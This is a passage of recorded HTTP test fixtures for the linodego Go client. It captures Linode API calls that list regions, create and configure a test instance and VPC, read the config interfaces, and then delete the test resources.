207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-0zk7533bwtl0","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253753, "label": "go-test-ins-wo-disk-0zk7533bwtl0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.202.146"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "82627d6efdfe4053b931690ee476e7b64f186697", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-5b399p8bx2mb","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253753/configs method: POST response: body: '{"id": 57334207, "label": "go-test-conf-5b399p8bx2mb", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1705956543805561000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1705956543805589000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 19444, "label": "go-test-vpc-1705956543805561000", "description": "", "region": "us-iad", "subnets": [{"id": 20511, "label": "linodego-vpc-test-1705956543805589000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-5b399p8bx2mb","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":20511,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253753/configs/57334207 method: PUT response: body: '{"id": 57334207, "label": "go-test-conf-5b399p8bx2mb", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976034, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976035, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976036, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19444, "subnet_id": 20511, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.146"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253753/configs/57334207/interfaces method: GET response: body: '[{"id": 976034, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976035, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976036, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19444, "subnet_id": 20511, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.146"}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "620" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253753 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/19444 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_Reorder.yaml000066400000000000000000001005441455402072200347430ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": 